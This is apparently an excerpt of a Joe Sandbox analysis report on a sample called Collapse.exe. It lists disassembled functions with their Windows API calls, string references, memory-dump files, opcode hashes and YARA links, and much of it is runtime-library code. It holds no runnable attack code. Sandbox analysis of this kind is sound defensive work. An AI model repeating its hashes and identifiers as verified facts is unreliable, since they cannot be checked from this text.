LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,009A535D,00000000,?,009B8180,?,?,?,009A5294,00000004,InitializeCriticalSectionEx,009AF434,009AF43C), ref: 009A52CE
GetLastError.KERNEL32(?,009A535D,00000000,?,009B8180,?,?,?,009A5294,00000004,InitializeCriticalSectionEx,009AF434,009AF43C,00000000,?,0099AA0C), ref: 009A52D8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 009A5300

Strings

api-ms-, xrefs: 009A52E5

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 95c08a5a8a4ae53471fde5aacabd4840b154ab056a2e6fc1ae26fd815678e37f
Instruction ID: b631dec8986c25a5ffdc2f3b700d4363554bf8e6ae6755e9cbc717c1573e30fe
Opcode Fuzzy Hash: 95c08a5a8a4ae53471fde5aacabd4840b154ab056a2e6fc1ae26fd815678e37f
Instruction Fuzzy Hash: FBE04F303C4305F7EF201B61EE06B5D3E59AB51FA5F104030FA0DE84E2DBE1E810A584

Function 009A30BF Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F1D6E486,00000000,00000000,?), ref: 009A3122

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009A3374
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009A33BA
GetLastError.KERNEL32 ref: 009A345D

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 6f558125fbba98e38a65ad5f5f2e85a393a38e5aebd3abfac67bf3e93e08771e
Instruction ID: b50437223bafdd3906330003218e29de17960fd73ef84d79f9143cc1f02fb48a
Opcode Fuzzy Hash: 6f558125fbba98e38a65ad5f5f2e85a393a38e5aebd3abfac67bf3e93e08771e
Instruction Fuzzy Hash: 7ED15C75D082499FCF15CFE8D880AADBBF9FF4A310F14856AE425EB251D730AA41CB90

Function 0099A0E3 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0099A1AA
___AdjustPointer.LIBCMT ref: 0099A1CD
___AdjustPointer.LIBCMT ref: 0099A269

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1bb843e0c5c349095c0d297e2b77ef7eba8f5d6980bb06cb54b3dd45f193cb6b
Instruction ID: 84c92c5003560df337c16edc5c5aae87f00e92397e72f5e207ac6ad32c0bc5ca
Opcode Fuzzy Hash: 1bb843e0c5c349095c0d297e2b77ef7eba8f5d6980bb06cb54b3dd45f193cb6b
Instruction Fuzzy Hash: 9E51D1726042069FDF259F58D845B7A77A8FF54710F14452DE826472A1E732ED80CBD2

Function 009A0B86 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009A0BEA
__dosmaperr.LIBCMT ref: 009A0BF1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009A0C2B
__dosmaperr.LIBCMT ref: 009A0C32

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1e8630fec4041c7285e46f1d9ee7b08747b3b6ee2b985e1bce4fb85734657151
Instruction ID: b4f055e16eaacd13e1254c0bab7e5d257db9b3e65e8221a95fea928390b59c1b
Opcode Fuzzy Hash: 1e8630fec4041c7285e46f1d9ee7b08747b3b6ee2b985e1bce4fb85734657151
Instruction Fuzzy Hash: 0921C571604215AF9F10AF65C885A6BB7ACFFC63747104A28F899D7251E731EC1097E0

Function 00991652 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 384e9e72e9412348d0e4a9269843f40fa1398a2202603cf42e7b1ce23478a419
Instruction ID: f83ada55bd7102be833cb29019b3858564928ff421068f3ab6f9ae0ecfa93734
Opcode Fuzzy Hash: 384e9e72e9412348d0e4a9269843f40fa1398a2202603cf42e7b1ce23478a419
Instruction Fuzzy Hash: 8021AE71608207AFDF20AFAD8C81E6A77ADBF803A47154924F91AD7251EB31EC5087A0

Function 009A1F7C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009A1F84

Part of subcall function 0099AE71: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0099C6C1,?,00000000,-00000008), ref: 0099AED2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009A1FBC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009A1FDC

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5ed929f69718dcaea14e573ac6fd0ce9963ab5451b8e16f18da3ba12d238b061
Instruction ID: e01db617dc2de96ac16ee31e0b56fa74c191796400b66a2f66a613be6e4482fc
Opcode Fuzzy Hash: 5ed929f69718dcaea14e573ac6fd0ce9963ab5451b8e16f18da3ba12d238b061
Instruction Fuzzy Hash: 3D1192B2509629BFAB3127B95C8DD7F696CDE8B3A57110525F805D2142FB34CD01E1F2

Function 00982A60 Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00982A8D
GetCurrentThreadId.KERNEL32 ref: 00982A9B
std::_Throw_Cpp_error.LIBCPMT ref: 00982AB4
std::_Throw_Cpp_error.LIBCPMT ref: 00982AF3

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 4cc20e4794ca088201ca39ca0e90fd5e53d8c122ec02b9574edf11b82b9f132d
Instruction ID: 5a54e0038e347982ea2b8f78912c3a7d4cfdf97bf568912884ca40a62027f2ac
Opcode Fuzzy Hash: 4cc20e4794ca088201ca39ca0e90fd5e53d8c122ec02b9574edf11b82b9f132d
Instruction Fuzzy Hash: F621B4B4E042098FCB08EFA8C595BAEBBF5AF88300F01845DE459AB391D7389940CF51

Function 009AA470 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000), ref: 009AA487
GetLastError.KERNEL32(?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?,?,?,009A2DF7,?), ref: 009AA493

Part of subcall function 009AA4E4: CloseHandle.KERNEL32(FFFFFFFE,009AA4A3,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?,?), ref: 009AA4F4

___initconout.LIBCMT ref: 009AA4A3

Part of subcall function 009AA4C5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009AA461,009A993F,?,?,009A34B1,?,00000000,00000000,?), ref: 009AA4D8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,009A9952,00000000,00000001,?,?,?,009A34B1,?,00000000,00000000,?), ref: 009AA4B8

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0cebcbcb74e3522ce529c8515d68fc93058f9b87c1700318180c61a970f44656
Instruction ID: de39ca83087c56a230fb24fdbbe98576912c5c357d8b7b5c73f3b53caca9d4aa
Opcode Fuzzy Hash: 0cebcbcb74e3522ce529c8515d68fc93058f9b87c1700318180c61a970f44656
Instruction Fuzzy Hash: B1F0F836114625BBCF222F91ED09A897FA6EB8A3B1B014610FA1D95131C772C920FB95

Function 0098EFA7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0098EFB9
GetCurrentThreadId.KERNEL32 ref: 0098EFC8
GetCurrentProcessId.KERNEL32 ref: 0098EFD1
QueryPerformanceCounter.KERNEL32(?), ref: 0098EFDE

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 39156526d013c5939ddd547706780e8e2e533fc6a3c7fe98834e01bf8bcc8b5a
Instruction ID: 02ef57a627ba6cd384518eb4cce8c2ddd8d07963e4147a52715e947db56f303d
Opcode Fuzzy Hash: 39156526d013c5939ddd547706780e8e2e533fc6a3c7fe98834e01bf8bcc8b5a
Instruction Fuzzy Hash: E1F0B270C5020CEBCB00DFB4CA4898EBBF8EF1C210B914A96A412E7151E730AB44EB50

Function 0099F766 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0099509A,?,?,?,00000055,?,-00000050,?,?,?), ref: 0099F825
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0099509A,?,?,?,00000055,?,-00000050,?,?), ref: 0099F85C

Strings

utf8, xrefs: 0099F92E

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 5dad264dec8be13aa56d4a4dc60964adfd7d0ae3f84a24c0406d3a944c9370a8
Instruction ID: 8dd2fa465fe721c1bfc98ea383053440a121b6d5761faf21ac3a9327fe599d99
Opcode Fuzzy Hash: 5dad264dec8be13aa56d4a4dc60964adfd7d0ae3f84a24c0406d3a944c9370a8
Instruction Fuzzy Hash: D351F672600706BADF24AB7D8C62BABF3ACEF45700F150439F956D7182FB74E94086A1

Function 0099A7E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0099A6E1,?,?,00000000,00000000,00000000,?), ref: 0099A805

Strings

RCC, xrefs: 0099A81F
MOC, xrefs: 0099A817

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f046afe6793f669e6418e5f94c7aff93dcd0232850a54ae71eb9aee8bdbccef3
Instruction ID: 8791479af9d9fe44bd555f541679f79658a543d4e769780faacac6cdd32c8f17
Opcode Fuzzy Hash: f046afe6793f669e6418e5f94c7aff93dcd0232850a54ae71eb9aee8bdbccef3
Instruction Fuzzy Hash: FF418871900209AFCF16DF99CD81AEEBBB9FF48300F1581A9F90567221D3359951DB92

Function 0099A04C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0099A2C3

Strings

csm, xrefs: 0099A356
csm, xrefs: 0099A2E5

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: bdb24656dacbf4013c0f7d1560eb58fda2d10c41552e25d136acc6be93316f76
Instruction ID: 21f2e0c7d103808849ff106f09ec18cfef82a680fefc78a662c42662bfd089ff
Opcode Fuzzy Hash: bdb24656dacbf4013c0f7d1560eb58fda2d10c41552e25d136acc6be93316f76
Instruction Fuzzy Hash: 4831CD32400219EBCF228F5CCC429BE7B6AFF49715B18865AF85849221C336DCA1DBC3

Analysis Process: Collapse.exePID: 3960, Parent PID: 6672COMMON

Non-executed Functions

Function 009A07C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009A0198,00000002,00000000,?,?,?,009A0198,?,00000000), ref: 009A0860
GetLocaleInfoW.KERNEL32(?,20001004,009A0198,00000002,00000000,?,?,?,009A0198,?,00000000), ref: 009A0889
GetACP.KERNEL32(?,?,009A0198,?,00000000), ref: 009A089E

Strings

ACP, xrefs: 009A07E5
OCP, xrefs: 009A081B

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2f5dae94e1bda38bf491eb79e4aefeaecb442cf532836418af49e8c355c0f7f6
Instruction ID: 2cae0c8040b1c5c8c6ef5fec91629d79374a24d641179ab29db74962aa24ecdf
Opcode Fuzzy Hash: 2f5dae94e1bda38bf491eb79e4aefeaecb442cf532836418af49e8c355c0f7f6
Instruction Fuzzy Hash: 4021B022A40101AADB34CF5CCA40A9777AEEFD6F60B578424E90AD7115E73BDE40D3D8

Function 009A0062 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(00000000,?,0099D392), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000,?,?,00000028,00997816), ref: 0099B059

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 009A016A
IsValidCodePage.KERNEL32(00000000), ref: 009A01A8
IsValidLocale.KERNEL32(?,00000001), ref: 009A01BB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 009A0203
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 009A021E

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: eedfe7763c6a9abb147b3593b568bac240e0318b66e50663e98e672d7a002d6a
Instruction ID: e24d3e8060b143dd30d44879f068afb565eedf5823552b5f1c3c919671c4dce9
Opcode Fuzzy Hash: eedfe7763c6a9abb147b3593b568bac240e0318b66e50663e98e672d7a002d6a
Instruction Fuzzy Hash: 2B518E71A44206AFDF20DFA5CC45BBAB7BCFF86700F144529E914E7191E7B19904CBA1

Function 00998D90 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction ID: a0260da1b92cb1ff9004de9c9ed0a198fed6290f11c1224337333e7ba1ee9987
Opcode Fuzzy Hash: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction Fuzzy Hash: F4021C71E012199BDF14CFADD880AAEB7B5FF49314F25826DE519E7380D731A941CB90

Function 009A0DA9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A0E99

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_980000_Collapse.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 249bb563a431ddbe659bd8887b0f3d433285cec02beacb39042eccd5c8999627
Instruction ID: 88507edbab113dea796688dc89283a3f01dbc50664673eed09c6d2ef88629ab6
Opcode Fuzzy Hash: 249bb563a431ddbe659bd8887b0f3d433285cec02beacb39042eccd5c8999627
Instruction Fuzzy Hash: 1371E47294516C5FDF30EF28CC89AAEBBB9EB86300F1441D9E449A3251EB315E849F90

Function 0098E42C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0098E438
IsDebuggerPresent.KERNEL32 ref: 0098E504
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0098E51D
UnhandledExceptionFilter.KERNEL32(?), ref: 0098E527

Memory Dump Source

Source File: 00000003.00000002.1244153360.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000003.00000002.1244136409.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244178118.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244199649.00000000009B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244221538.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1244238747.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

